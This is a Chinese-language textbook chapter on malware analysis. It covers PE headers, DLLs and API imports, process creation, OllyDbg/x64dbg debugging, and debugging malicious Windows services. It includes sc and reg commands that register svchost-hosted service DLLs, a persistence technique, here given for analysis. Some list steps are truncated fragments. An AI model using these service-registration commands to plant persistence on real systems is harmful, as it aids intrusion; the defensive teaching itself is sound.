这是 MZ-PE 头部中一个鲜为人知的部分。它位于小 DOS 程序之后,该程序会打印This program cannot be run in DOS mode字符串,以及 PE 头,如下图所示:

图 3.5 – 原始 Rich 头

与其他头部结构不同,它应该从Rich魔法值所在位置的末尾开始读取。其后跟随的值是根据 DOS 头和 Rich 头计算出的自定义校验和,它还作为 XOR 密钥,用于加密该头部的实际内容。一旦解密,它将包含关于用于编译该程序的软件的各种信息。解密后的第一个字段将是DanS标记:

图 3.6 – 在 PE-Bear 工具中解析的 Rich 头

这些信息可以帮助研究人员识别用于创建恶意软件的软件,以便选择正确的分析工具和行为者归因。

如你所见,PE 结构是恶意软件分析人员的宝贵资源,因为它提供了关于恶意功能和创建者的无价信息。

PE+(x64 PE)

在这一点上,你可能会认为所有 x64 PE 文件的字段相比 x86 PE 文件需要 8 字节,而不是 4 字节。但事实是,PE+头与经典的 PE 头非常相似,只有极少的变化,具体如下:

  • ImageBase:它是 8 字节,而不是 4 字节。

  • BaseOfData:此字段已从可选头中删除。

  • Magic:这个值从 0x10B(表示 x86)更改为 0x20B(表示 x64)。PE+ 文件的最大大小保持在 2 GB,而所有其他 RVA 地址,包括 AddressOfEntrypoint,仍然保持为 4 字节。

  • 其他一些字段,如 SizeOfHeapCommitSizeOfHeapReserveSizeOfStackReserveSizeOfStackCommit,现在占用 8 字节,而不是 4 字节。

现在我们已经了解了 PE 头部是什么,接下来让我们讨论一些可以帮助我们提取和可视化这些信息的工具。

PE 头部分析工具

一旦我们熟悉了 PE 格式,我们需要能够解析不同的 PE 文件(例如 .exe 文件)并读取它们的头部值。幸运的是,我们不需要在十六进制编辑器中自己完成这项工作;有许多工具可以帮助我们轻松地读取 PE 头部信息。以下是一些最著名的免费工具:

  • CFF Explorer:这个工具非常适合解析 PE 头部,因为它可以正确地分析并呈现所有存储在其中的重要信息:

图 3.7 – CFF Explorer 用户界面

  • PE-bear:与 CFF Explorer 相比,这个工具的一个巨大优势是它还可以解析 Rich 头部,正如我们所知,它包含了许多关于开发工具的有用信息,这些工具用于创建该样本。

  • Hiew:虽然演示版本仅显示 PE 头部信息的一小部分,但完整版则可以让研究人员完全查看,并且可以编辑其中的任何字段。

  • PEiD:虽然它主要用于检测编译器(例如 Visual Studio)或用于打包恶意软件的打包工具,它通过应用程序中存储的静态签名进行识别(这一点将在第四章解包、解密与去混淆中详细讲解),研究人员可以使用 > 按钮从 PE 头部获取大量信息:

图 3.8 – PEiD 用户界面

在接下来的部分,我们将进一步扩展我们的知识,探索静态和动态链接的细节。

静态和动态链接

在本节中,我们将介绍为加速软件开发过程、避免代码重复以及提高公司内不同团队之间协作而引入的代码库。

这些库是恶意软件家族的已知目标,因为它们可以轻松地被注入到不同应用程序的内存中,并冒充它们以掩盖其恶意活动。

首先,让我们讨论一下库的不同使用方式。

静态链接

随着不同操作系统上应用程序数量的增加,开发人员发现很多代码被重复使用,相同的逻辑被反复编写,以支持程序中的某些功能。由于这一点,代码库的发明变得非常有用。让我们来看一下下面的图示:

图 3.9 – 从编译到加载的静态链接

代码库 (.lib 文件) 包含许多功能,在需要时将其复制到程序中,因此无需重新发明轮子并重新编写这些函数(例如,任何处理数学方程的应用程序中用于数学运算(如 sin 或 cos)的代码)。这是通过一个名为链接器的程序来完成的,其工作是将所有所需的函数(指令组)放在一起,并生成一个单独的自包含可执行文件。这个方法被称为静态链接。

动态链接

静态链接的库导致相同的代码在每个需要它的程序中被重复复制,这反过来导致硬盘空间浪费,并且增加了可执行文件的大小。

在像 Windows 和 Linux 这样的现代操作系统中,有数百个库,每个库包含数千个用于 UI、图形、3D、互联网通信等的函数。正因为如此,静态链接显得有限。为了解决这个问题,动态链接应运而生。整个过程在下图中展示:

图 3.10 – 从编译到加载的动态链接

与其将代码存储在每个可执行文件中,不如将所需的库加载到每个应用程序旁边的相同虚拟内存中,这样应用程序就可以直接调用所需的函数。这些库被称为动态链接库DLLs),如前图所示。我们接下来将详细介绍它们。

动态链接库

DLL 是一个完整的 PE 文件,包含所有必要的头文件、段落,最重要的是,导出表。

导出表包括此库导出的所有函数。并非所有库函数都被导出,因为其中一些是供内部使用的。然而,被导出的函数可以通过其名称或序号(索引号)访问。这些被称为应用程序编程接口APIs)。

Windows 为开发者提供了大量的库,供他们创建面向 Windows 的程序来访问其功能。以下是一些这样的库:

  • kernel32.dll:这个库包含所有程序的基本和核心功能,包括读取文件和写入文件。在 Windows 的最新版本中,函数的实际代码已经移至 KernelBase.dll

  • ntdll.dll:这个库导出 Windows 本地 API;kernel32.dll 使用此库作为其功能的后端。一些恶意软件作者试图访问此库中未记录的 API,以使逆向工程师更难理解恶意软件的功能,例如 LdrLoadDll

  • advapi32.dll:这个库主要用于操作注册表和加密。

  • shell32.dll:这个库负责与外壳相关的操作,例如执行和打开文件。

  • ws2_32.dll:该库负责所有与互联网套接字和网络通信相关的功能,对于理解自定义网络通信协议非常重要。

  • wininet.dll:该库包含 HTTP 和 FTP 功能等。

  • urlmon.dll:该库提供类似于wininet.dll的功能,用于处理 URL、网页压缩、下载文件等。

现在,是时候讨论一下到底什么是 API 了。

应用程序编程接口(API)

简而言之,API 在库中导出函数,任何应用程序都可以调用或与之交互。此外,API 也可以像 DLL 一样由可执行文件导出。这样,一个可执行文件可以作为程序运行,或者被其他可执行文件或库加载为库。

每个程序的导入表包含该程序所需的所有库的名称,以及该程序使用的所有 API。在每个库中,导出表包含 API 的名称、API 的序号和该 API 的 RVA 地址。

重要提示

每个 API 都有一个序号,但并非所有 API 都有名称。

动态 API 加载

在恶意软件中,使用动态 API 加载隐藏库和 API 的名称,避免静态分析,是一种非常常见的做法。

Windows 通过两个非常著名的 API 来支持动态 API 加载:

  • LoadLibraryA:此 API 将一个动态链接库加载到调用程序的虚拟内存中,并返回其地址(变体包括LoadLibraryWLoadLibraryExALoadLibraryExW)。

  • GetProcAddress:此 API 返回指定名称或序号值的 API 的地址,以及包含该 API 的库的地址。

通过调用这两个 API,恶意软件可以访问未在导入表中列出的 API,这意味着它们可能会被逆向工程师隐藏。

在一些高级恶意软件中,恶意软件作者还通过加密或其他混淆技术来隐藏库和 API 的名称,这将在第四章中讨论,解包、解密和去混淆

这些 API 并不是唯一能支持动态 API 加载的 API;其他技术将在第八章中探讨,漏洞利用和 Shellcode 处理

拥有这些知识之后,让我们更深入地了解如何将其付诸实践。

使用 PE 头信息进行静态分析

现在我们已经了解了 PE 头、动态链接库和 API,接下来要问的问题是,如何在静态分析中利用这些信息? 这取决于你想要回答的问题,接下来我们将讨论这些问题。

如何使用 PE 头进行事件处理

如果发生事件,PE 头的静态分析可以帮助你回答报告中的多个问题。以下是问题及 PE 头如何帮助你解答这些问题:

  • 这个恶意软件是经过打包的吗?

PE 头可以帮助你判断该恶意软件是否经过打包。打包器倾向于将常见的段名(.text.data.rsrc)更改为其他名称,例如UPX0.aspack

此外,打包器通常会隐藏大部分原本应存在于导入表中的 API。因此,如果你看到导入表中包含的 API 非常少,这可能是打包行为的另一个迹象。我们将在本书的第四章中详细讨论解包,解密与去混淆

  • 这个恶意软件是投放器还是下载器?

很常见的投放器会在其资源中存储额外的 PE 文件。多个工具,如Resource Hacker,可以检测到这些嵌入的文件(或者例如,包含它们的 ZIP 文件),你将能够找到被投放的模块。

对于下载器,通常可以看到一个名为URLDownloadToFile的 API,来自名为urlmon.dll的 DLL 文件,通过这个 API 可以下载文件,还有ShellExecuteA API 用来执行文件。其他 API 也可以实现相同的目标,但这两个 API 是最著名的,并且是恶意软件作者最容易使用的。

  • 它是否连接到指挥与控制服务器(C&C,或攻击者的网站)?是如何连接的?

有许多 API 可以告诉你恶意软件是否使用互联网,例如socketsendrecv,它们可以告诉你是否连接到充当客户端的服务器,或者是否监听端口,例如connectlisten

一些 API 甚至可以告诉你它们使用的协议,例如HTTPSendRequestAFTPPutFile,这两个 API 都来自wininet.dll

  • 这个恶意软件还有哪些功能?

一些 API 与文件搜索相关,例如FindFirstFileA,这可能是该恶意软件是勒索软件或信息窃取者的线索。

它可能会使用诸如Process32FirstProcess32NextCreateRemoteThread等 API,这可能意味着它具备进程注入的功能,或者使用TerminateProcess,这可能意味着该恶意软件试图终止其他应用程序,例如杀毒软件或恶意软件分析工具。

我们将在本书的后面更详细地介绍这些内容。本节为你提供了线索和思路,帮助你在下次进行静态恶意软件分析时思考,并帮助你找到 PE 头中你需要寻找的内容。

通常,专注于报告中应该回答的主要问题是一个好主意。也许基于字符串和 PE 头进行基本静态分析就足以帮助你处理这些问题。

如何利用 PE 头进行威胁狩猎

到目前为止,我们已经讨论了 PE 头如何帮助你回答与事件处理或正常战术报告相关的问题。现在,让我们讨论以下与威胁情报相关的问题,以及 PE 头如何帮助你回答这些问题:

  • 这个样本是什么时候创建的?

有时,威胁研究人员需要知道样本的年龄。它是旧样本还是新变种,攻击者到底何时开始策划他们的攻击?

PE 头部包含一个名为 TimeDateStamp 的值,该值位于文件头部。它包括该样本编译的准确日期和时间,这有助于回答这个问题,并帮助威胁研究人员构建攻击时间线。然而,值得提到的是,它也可以被伪造。另一个较少为人知的字段,具有类似的功能,是导出目录(如果存在)的 TimeDateStamp 值。

  • 这些攻击者的来源国家是哪个?

这些攻击者属于哪个国家?这个问题能够揭示出关于他们动机的许多信息。

回答这个问题的一种方法是再次查看 TimeDateStamp,它会查看多个样本及其编译时间。在某些情况下,它们符合特定时区的工作时间(9-5),这可能有助于推测攻击者的国家来源,如下图所示:

图 3.11 – 编译时间戳的模式

Rich 头部也可以用于归属目的,因为用于编译样本的不同版本的组合通常在特定设置下变化不大。

  • 恶意软件是否使用了被盗的证书?这些样本之间是否有关联?

数据目录中的一个条目与证书有关。某些应用程序由其制造商签名,以提供额外的信任,确保用户和操作系统该应用程序是安全的。但是这些证书有时会被盗用,并被不同的恶意软件行为者使用。

对于所有使用特定被盗证书的恶意样本,所有样本很可能都是同一行为者所生产的。即使它们的目的不同,或者攻击的目标不同,仍然可能是同一攻击者执行的不同活动。

如我们之前所提到的,PE 头部如果仔细查看其字段中的细节,它是一个信息宝库。在这里,我们介绍了一些最常见的使用场景。它的潜力远不止这些,接下来由你进一步探索。

PE 加载与进程创建

到目前为止,我们所讨论的内容都与硬盘上存在的 PE 文件相关。我们尚未涉及的是当 PE 文件加载到内存中时,它是如何变化的,以及这些文件的整个执行过程。在本节中,我们将讨论 Windows 如何加载 PE 文件、执行它,并将其转化为一个活跃的程序。

基本术语

要理解 PE 加载与进程创建,我们必须先了解一些基本术语,例如进程、线程、线程环境块TEB)、进程环境块PEB)等,然后才能深入了解加载和执行可执行 PE 文件的流程。

什么是进程?

进程不仅仅是内存中正在运行的程序的表示,它还是包含所有关于正在运行的应用程序信息的容器。这个容器存储着与该进程相关的虚拟内存信息,所有加载的 DLL、打开的文件和套接字、作为该进程一部分的线程列表(我们稍后会详细介绍)、进程 ID 等信息。

进程是内核中的一个结构,包含所有这些信息,作为一个实体表示正在运行的可执行文件,如下图所示:

图 3.12 – 32 位进程内存布局示例

我们将在下一节中比较虚拟内存和物理内存的各个方面。

虚拟内存到物理内存的映射

虚拟内存就像是为每个进程提供的一个容器。每个进程都有自己的虚拟内存空间来存储其镜像、相关库以及所有为栈、堆等分配的辅助内存区域。这个虚拟内存与相应的物理内存有映射关系。并非所有虚拟内存地址都会映射到物理内存,每个被映射的地址都有一个权限(READ|WRITEREAD|EXECUTE,或者可能是 READ|WRITE|EXECUTE),如以下图所示:

图 3.13 – 物理内存与虚拟内存之间的映射

虚拟内存允许在不同进程之间创建一个安全层,并允许操作系统管理不同的进程,暂停一个进程并将资源分配给另一个进程。

线程

线程不仅仅是表示进程内部执行路径的实体(每个进程可以有一个或多个线程同时运行)。它还是内核中的一个结构,保存着该执行路径的整个状态,包括寄存器、栈信息和最后的错误。

Windows 中的每个线程都有一个小的时间片在执行,然后被暂停以恢复另一个线程(因为处理器核心的数量远小于整个系统中运行的线程数)。当 Windows 在一个线程与另一个线程之间切换时,它会对整个执行状态(寄存器、栈、指令指针等)进行快照,并将其保存到线程结构中,以便从暂停的地方恢复执行。

在一个进程中运行的所有线程共享该进程的相同资源,包括虚拟内存、打开的文件、打开的套接字、DLL、互斥锁等,并在访问这些资源时相互同步。

每个线程都有一个栈、指令指针、用于错误处理的代码函数(SEH,详见第六章绕过反向工程技术)、线程 ID 和一个名为 TEB 的线程信息结构,如下图所示:

图 3.14 – 示例进程,包含一个线程和多个线程

接下来,我们将讨论理解线程和进程所需的关键数据结构。让我们开始吧。

重要的数据结构——TIB、TEB 和 PEB

与进程和线程相关的最后一项内容是 TIB、TEB 和 PEB 数据结构。这些结构存储在进程内存中,其主要功能是包含有关进程和每个线程的所有信息,并使代码能够轻松访问这些信息,以便轻松获取进程文件名、已加载的 DLL 和其他相关信息。

它们可以通过一个特殊的段寄存器访问,分别是 FS(32 位)或 GS(64 位),就像这样:

mov eax, DWORD PTR FS:[XX]

这些数据结构具有以下功能:

  • 线程信息块(TIB):该结构包含有关线程的信息,包括用于错误处理的函数列表等。

  • 线程环境块(TEB):该结构以 TIB 开始,后跟其他与线程相关的字段。在许多情况下,TIB 和 TEB 这两个术语可以互换使用。

  • 进程环境块(PEB):该结构包含有关进程的各种信息,例如其名称、ID(PID)和模块列表(包括所有已加载到内存中的 PE 文件——主要是程序本身和 DLL 文件)。

在接下来的章节中,以及本书的整个过程中,我们将介绍这些结构中存储的不同信息,这些信息用于帮助恶意代码实现其目标——例如,检测调试器。

逐步创建进程

现在我们已经了解了基本术语,可以深入探讨 PE 加载和进程创建的过程。我们将按顺序调查它,如下所示的步骤所示:

  1. calc.exe,另一个名为explorer.exe的进程(即 Windows 资源管理器的进程)调用一个 API,CreateProcessA,该 API 向操作系统发出请求,以创建此进程并开始执行。

  2. EPROCESS,为该进程设置唯一的 ID(ProcessID),并将explorer.exe文件的进程 ID 设置为新创建的calc.exe进程的父 PID。

  3. EPROCESS结构。接着,它创建 PEB 结构,包含所有必要的信息,并加载 Windows 应用程序始终需要的两个主要 DLL:ntdll.dllkernel32.dll(有些应用程序运行在其他 Windows 子系统上,例如 POSIX,并不使用kernel32.dll)。

  4. 加载 PE 文件:然后,Windows 开始加载 PE 文件(我们将在下一节解释),它加载所有必需的第三方库(DLL),包括这些库所需要的所有 DLL,并确保从这些库中找到所需的 API,并将其地址保存到已加载 PE 文件的导入表中,以便代码能够轻松访问并调用它们。

  5. 启动执行:最后但同样重要的是,Windows 在进程中创建第一个线程,执行一些初始化工作,并调用 PE 文件的入口点以启动程序执行。之前提到的 TLS 回调(如果有的话)将在入口点之前执行。

现在,让我们更深入地探讨这一过程中的 PE 加载部分。

PE 文件加载步骤

Windows PE 加载器在将可执行的 PE 文件加载到内存中(包括动态链接库)时遵循以下步骤:

  1. ImageBase:将 PE 文件加载到其虚拟内存中的此地址(如果可能的话)。

  2. NumberOfSections:用于加载各个节。

  3. SizeOfImage:因为这是整个 PE 文件在内存中加载后的最终大小,所以这个值将用于最初的空间分配。

  4. NumberOfSections 字段解析 PE 文件中的所有节,确保获取所有必要的信息,包括它们在内存中的地址和大小(分别是 VirtualAddressVirtualSize),以及硬盘上节的偏移和大小,用于读取数据。

  5. SectionAlignment,加载器复制所有头部信息,然后根据 VirtualAddressVirtualSize 值(如果 VirtualAddressVirtualSizeSectionAlignment 不对齐,加载器会先进行对齐,然后使用这些值)将每个节移动到新位置,如下图所示:

图 3.15 – 将节从磁盘映射到内存

  1. 处理第三方库:在这一步骤中,加载器加载所有需要的 DLL 文件,反复递归地执行这个过程,直到所有 DLL 文件都被加载完成。之后,它获取所有导入的 API 的地址,并将它们保存到已加载 PE 文件的导入表中。

  2. ImageBase,加载器使用程序/库的新地址(新的 ImageBase)修复代码中的所有绝对地址。

  3. 启动执行:最后,就像进程创建一样,Windows 创建第一个线程,从程序的入口点开始执行程序。一些反调试技术可能会强制它从其他地方开始,我们将在 第六章 绕过反调试技术 中讨论这一点。

我们还需要了解的一点是 WOW64。

WOW64 进程

在这一点上,你应该了解如何将 32 位进程加载到 x86 环境中,以及如何将 64 位进程加载到 x64 环境中。那么,在 64 位操作系统中如何运行 32 位程序呢?

对于这种特殊情况,Windows 创建了所谓的 WOW64 子系统。它主要通过以下 DLL 文件实现:

  • wow64.dll

  • wow64cpu.dll

  • wow64win.dll

这些 DLL 创建了一个模拟的 32 位进程环境,其中包括它可能需要的 32 位版本的库。

这些 DLL 文件并不是直接连接到 Windows 内核,而是调用一个 API,X86SwitchTo64BitMode,该 API 会切换到 x64 模式并调用 64 位的 ntdll.dll,然后直接与内核通信,如下图所示:

图 3.16 – WOW64 架构

此外,对于基于 WOW64 的进程(在 x64 环境中运行的 x86 进程),引入了新的 API,例如 IsWow64Process,恶意软件通常使用该 API 来判断它是以 32 位进程在 x64 环境中运行,还是在 x86 环境中运行。

使用 OllyDbg 和 x64dbg 进行动态分析的基础

现在我们已经解释了进程、线程以及 PE 文件的执行过程,接下来是时候开始调试一个正在运行的进程,并通过追踪运行时的代码来理解它的功能。

调试工具

我们可以使用多种调试工具。在这里,我们将介绍三种在界面和功能上非常相似的工具:

  • OllyDbg:这可能是 Windows 平台上最著名的调试器。以下截图展示了它的用户界面,已经成为大多数 Windows 调试器的标准:

图 3.17 – OllyDbg 用户界面

  • Immunity Debugger:这是一个可脚本化的 OllyDbg 克隆,专注于利用和漏洞挖掘:

图 3.18 – Immunity Debugger 用户界面

  • X64dbg:这是一个支持 x86 和 x64 可执行文件的调试器,界面与 OllyDbg 非常相似。它也是一个开源调试器:

图 3.19 – x64dbg 用户界面

我们将详细介绍 OllyDbg 1.10(OllyDbg 最常用的版本)。相同的概念和快捷键可以应用于这里提到的其他调试器。

如何使用 OllyDbg 分析样本

OllyDbg 用户界面非常简洁,易于学习。在这一部分,我们将介绍帮助你进行分析的步骤和不同的窗口:

  1. 选择一个样本进行调试:你可以直接通过 文件 | 打开 来打开样本文件,选择一个 PE 文件进行打开(它也可以是一个 DLL 文件,但请确保它是 32 位样本)。另外,你还可以将其附加到一个正在运行的进程,如下所示:

图 3.20 – OllyDbg 附加对话框

  1. CPU 窗口:这是你的主窗口。在调试过程中,你大部分时间都会待在这个窗口。此窗口包含左上角的汇编代码,并提供通过双击地址设置断点或修改程序汇编代码的选项。

在右上角,你也可以看到寄存器。只要执行被暂停,就可以随时修改它们。在底部,你可以看到堆栈和十六进制格式的数据,这些也可以修改。

你可以在以下两种视图中轻松修改内存中的任何数据:

图 3.21 – OllyDbg 默认窗口布局解释

  1. 可执行模块窗口:OllyDbg 中有多个窗口可以帮助你进行分析,例如可执行模块窗口(你可以通过进入视图 | 可执行模块来访问它),如下图所示:

图 3.22 – OllyDbg 可执行模块对话框

这个窗口将帮助你看到该进程虚拟内存中加载的所有 PE 文件,包括恶意样本和与之一起加载的所有库或 DLL。

  1. 内存映射窗口:在这里,你可以看到进程虚拟内存中的所有分配的内存。分配的内存是代表物理(RAM)内存或者页面文件的内存,用于在内存不足时存储 RAM 中的内容。你可以看到它们代表的内容及其内存保护状态(读取、写入和/或执行),如下图所示:

图 3.23 – OllyDbg 内存映射对话框

  1. 调试示例:在调试菜单中,你有多种选项来运行程序的汇编代码,例如通过运行完全执行示例,直到遇到断点,或者直接使用F9

另一个选项是直接单步跳过。单步跳过执行一行代码。然而,如果这行代码是对另一个函数的调用,它会完全执行该函数,并在函数返回后停止。这使得它与单步进入不同,后者会进入函数内部并在函数开始时停止,如下图所示:

图 3.24 – OllyDbg 调试菜单

它包括设置硬件断点并查看它们的选项,我们将在本章后面介绍。

  1. 更多功能:OllyDbg 允许你修改程序的代码;更改其寄存器、状态和内存;转储内存中的任何部分;并将 PE 文件内存中的更改保存回硬盘,以便后续的静态分析(如果需要)。

现在,让我们来讨论一下断点。

断点类型

为了能够动态分析样本并理解其行为,你需要能够控制它的执行流程。你需要能够在满足条件时停止执行,检查其内存,并修改其寄存器的值和指令。有几种类型的断点可以实现这一点。

单步进入/单步跳过断点

这个断点非常简单,允许处理器仅执行程序的一条指令,然后返回调试器。

这个断点修改了寄存器中的一个标志,叫做EFlags。虽然不常见,但恶意软件可能会通过检测这个断点来识别调试器的存在,我们将在第6 章《绕过反向工程技巧》中讨论这一点。

软件(INT3)断点

这是最常见的断点,你可以通过双击 OllyDbg 中 CPU 窗口中的汇编行的十六进制表示或按下F2轻松设置这个断点。之后,你会看到该指令的地址上出现红色高亮,如下图所示:

图 3.25 – OllyDbg 中的反汇编

好吧,这就是你通过调试器的界面看到的内容,但你看不到的是该指令的第一个字节(在此例中是 0xB8)已被修改为 0xCC(INT3 指令),这会在处理器到达时停止执行并将控制权返回给调试器。这个 0xCC 字节在调试器界面中是不可见的,因为它始终显示原始字节和它们所代表的指令,但如果我们决定将此内存转储到磁盘并使用十六进制编辑器查看它,则可以看到。

一旦调试器获取了这个 INT3 断点的控制权,它会将 0xCC 替换为 0xB8,以正常执行此指令。

这个断点的主要问题是它会修改内存。如果恶意软件尝试读取或修改此指令的字节,它会将第一个字节读取为 0xCC,而不是 0xB8,这可能会破坏一些代码或检测到调试器的存在(我们将在第六章中讨论,绕过反向工程技术)。此外,它可能会影响内存转储,因为这样生成的转储会因为这些修改而损坏。解决这个问题的方法是在转储内存之前移除所有软件断点。

内存断点

内存断点用于不是为了停止特定指令的执行,而是在任何指令尝试读取或修改特定内存区域时停止。许多调试器设置内存断点的方式是通过向页面的原始保护添加PAGE_GUARD(0x100)保护标志,并在断点被触发后移除PAGE_GUARD

这些可以通过右键点击断点 | 内存,读取时内存,写入时来访问,如下图所示:

图 3.26 – OllyDbg 断点菜单

另一个需要注意的重要事项是,内存断点的精度较低,因为只能更改内存页面的保护标志,而不能更改单个字节的保护标志。

硬件断点

硬件断点基于六个特殊用途寄存器:DR0-DR3DR6DR7

这些寄存器允许你设置最多四个断点,每个断点都有特定的地址,可以从给定地址开始读取、写入或执行 1、2 或 4 个字节。它们非常有用,因为它们不会像 INT3 断点那样修改指令字节,而且通常更难被检测到。然而,它们仍然可能会被恶意软件检测并移除,我们将在第六章中讨论,绕过反向工程技术

你可以通过进入Debug菜单并选择Hardware breakpoints来查看它们,如下图所示:

图 3.27 – OllyDbg 硬件断点对话框

如你所见,每种类型的断点都有其特定的用途,并且有各自的优缺点,因此了解它们并根据任务需求使用它们非常重要。

修改程序的执行

为了绕过反调试技巧,强制恶意软件与 C&C 通信,甚至测试恶意软件执行的不同分支,你需要能够改变恶意软件的执行流程。让我们来看一下可以用来改变执行流程和任何线程行为的不同技巧。

修改程序的汇编指令

你可以通过更改汇编指令来修改代码执行路径。例如,你可以将条件跳转指令更改为相反条件,如下图所示,强制执行本不该执行的特定分支:

图 3.28 – 在 OllyDbg 中使用汇编

除了代码之外,还可以更改寄存器的内容。

更改 EFlags

与其修改条件跳转指令的代码,你也可以通过更改 EFlags 寄存器来修改其比较结果。

在右上角的寄存器之后,你可以看到多个可以更改的标志。每个标志表示任何比较的特定结果(其他指令也会改变这些标志)。例如,ZF 表示两个值是否相等,或某个寄存器是否变为零。通过更改 ZF 标志,你可以强制条件跳转(如jnzjz)跳到相反的分支,从而强制改变执行路径。

修改指令指针值

你可以通过简单地修改指令指针 (EIP/RIP) 来强制执行特定的分支或指令。你可以通过右键点击感兴趣的指令并选择New origin here来做到这一点。

更改程序数据

就像你可以更改指令代码一样,你也可以更改数据值。在左下角的视图(十六进制视图)中,你可以通过右键点击Binary | Edit来更改数据的字节。你还可以复制/粘贴十六进制值,如下图所示:

图 3.29 – 在 OllyDbg 中的数据编辑

现在,让我们来讨论如何有效地搜索重要的信息片段,以便于分析。

列出字符串、API 和交叉引用

在进行逆向工程时,字符串和 API 是非常重要的信息来源,因此了解如何高效地浏览它们非常重要。

要在 OllyDbg 中获取字符串列表,右键点击 CPU 窗口的反汇编部分的任意位置,选择 搜索 | 所有引用的文本字符串。弹出的对话框将显示所有候选的 C 风格字符串,包括 ANSI 和 Unicode(UTF16-LE),以及使用这些字符串的指令。

要获取 API 列表,执行相同的操作,但这次选择 搜索 | 所有模块间调用

交叉引用是标记,显示研究人员该代码或数据的访问位置。这是一个极其重要的信息,它能有效地帮助我们连接各个点。要找到特定指令的引用,右键点击它并选择 查找引用到 | 选定命令 选项。对于十六进制转储窗口中的数据,只需选择 查找引用

设置标签和注释

在分析任何类型的样本时,保持标注准确非常重要,这样你就能始终清晰地了解已经审查过的代码或数据的含义。为函数和引用赋予恰当的名称是确保你在一段时间后不会再次分析相同代码的好方法。

要给函数或某些数据命名,右键点击其首个指令并选择 标签 选项(或者直接按 : 热键)。现在,所有引用它们的地方将使用这个标签,而不是地址,如下截图所示:

图 3.30 – 在 OllyDbg 中使用标签和注释

要跟踪地址,在选中指令后按 Enter 键。要返回,按 - 热键。要添加注释,使用 ; 热键。

现在,让我们来谈谈 x64dbg。

OllyDbg 和 x64dbg 之间的差异

如我们之前提到的,这些调试器有许多相似之处。它们使用相同的布局,界面选项和热键几乎相同——甚至默认的颜色方案也相似。然而,它们之间也有一些差异,其中有些值得一提:

  • 与 OllyDbg 不同,x64dbg 支持 32 位和 64 位的可执行文件。

  • 默认情况下,x64dbg 会在系统断点处停止(这是一个初始化待调试应用程序的系统功能),而 OllyDbg 会在入口点处停止。

  • x64dbg 支持对话窗口的标签页,这在许多情况下非常方便,例如,当必须同时使用多个 十六进制转储 窗口时。

  • x64dbg 显示更多的寄存器,包括 DR0-3、DR6 和 DR7 调试寄存器。

  • OllyDbg 可能在 内存映射 窗口中显示不正确的保护标志;而 x64dbg 通常更为准确。

  • x64dbg 将所有类型的断点显示在同一个 断点 窗口中,而 OllyDbg 将其分为 视图 | 断点调试 | 硬件断点

  • x64dbg 没有调用 DLL 导出函数的菜单选项;必须手动执行此操作。

这里和那里还有其他一些小差异,因此可以随意尝试这两款工具,并选择最适合你的那个。

现在,让我们谈谈如何调试服务。

调试恶意服务

虽然加载单个可执行文件和 DLL 进行调试通常是一个相当直接的任务,但当我们讨论调试 Windows 服务时,事情变得有些复杂。

什么是服务?

服务是通常应在后台执行某些逻辑的任务,类似于 Linux 上的守护进程。因此,恶意软件作者常常利用它们来实现可靠的持久性,这一点并不令人意外。

服务由 %SystemRoot%\System32\services.exe 控制。所有服务都有相应的 HKLM\SYSTEM\CurrentControlSet\services\<service_name> 注册表项。它包含描述服务的多个值,其中包括:

  • ImagePath:指向相应可执行文件的文件路径,可包含可选参数。

  • TypeREG_DWORD 值指定服务的类型。让我们看一些此类支持的值的示例:

    • 0x00000001 (内核):在这种情况下,逻辑是在驱动程序中实现的(驱动程序的详细内容将在第七章《理解内核模式根套件》一章中介绍,该章节专门讨论内核模式威胁)。

    • 0x00000010 (独立):服务在其自己的进程中运行。

    • 0x00000020 (共享):服务在共享进程中运行。

  • Start:这是另一个 REG_DWORD 值,用于描述服务应如何启动。以下选项是常用的:

    • 0x00000000 (启动) 和 0x00000001 (系统):这些值用于驱动程序。在这种情况下,它们将分别由启动加载程序或内核初始化过程中加载。

    • 0x00000002 (自动):每次机器重启时,服务会自动启动。这是恶意软件的明显选择。

    • 0x00000003 (按需):这指定应手动启动的服务。此选项在调试时特别有用。

  • 0x00000004 (禁用):服务不会启动。

让我们看看服务可以设计的几种方式:

  • ImagePath 将包含其完整的文件路径。

  • rundll32.exe)。完整的命令行存储在 ImagePath 键中,和之前的情况一样。

  • svchost.exe 进程。为了加载,恶意软件通常会在 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost 注册表项中创建一个新的组,并使用 -k 参数将此值传递给 svchost.exe。DLL 的路径将不会像之前那样在服务注册表项的 ImagePath 值中指定(在这里,它将包含 svchost.exe 路径以及服务组参数),而是会在 HKLM\SYSTEM\CurrentControlSet\services\<service_name>\Parameters 注册表项的 ServiceDll 值中指定。服务 DLL 应包含 ServiceMain 导出函数(如果使用了自定义名称,则应在 ServiceMain 注册表值中指定)。如果存在 SvchostPushServiceGlobals 导出,它将在 ServiceMain 之前执行。

一个带有专用可执行文件(或带有自有加载器的 DLL)的用户模式服务,可以使用标准的 sc 命令行工具注册,如下所示:

sc create <service_name> type= own binpath= <path_to_executable>

对于基于 svchost DLL 的服务,过程稍微复杂一些:

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v "<service_group>" /t REG_MULTI_SZ /d "<service_name>\0" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\<service_name>\Parameters"
/v ServiceDll /t REG_EXPAND_SZ /d <path_to_dll> /f sc create <service_name> type= share binpath="C:\Windows\System32\svchost.exe -k <service_group>"

使用这种方法,可以在需要时按需启动已创建的服务,例如,使用以下命令:

sc start <service_name>

或者,可以使用以下命令:

net start <service_name_or_display_name>

现在,我们来谈谈如何附加到服务。

附加到服务

一旦服务启动后,有多种方法可以立即附加到服务:

  • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<filename>,其中包含相应的 Debugger 字符串数据值,该值包含调试器的完整路径,一旦指定的 <filename> 程序启动,就会附加到该服务。这里的问题是,如果服务不是交互式的,附加的调试器窗口可能不会出现。可以通过以下几种方式来解决:

    • 打开 services.msc,打开 HKLM\SYSTEM\CurrentControlSet\services\<service_name> 注册表键,并用与当前值进行按位或运算的结果替换其数据,运算结果为 0x00000100 DWORD(SERVICE_INTERACTIVE_PROCESS 标志)。例如,0x00000010 将变为 0x00000110

    • 此外,当使用 sc 工具并带有 type= interact type= owntype= interact type= share 参数时,它可以交互式创建。另一种选择是使用远程调试。

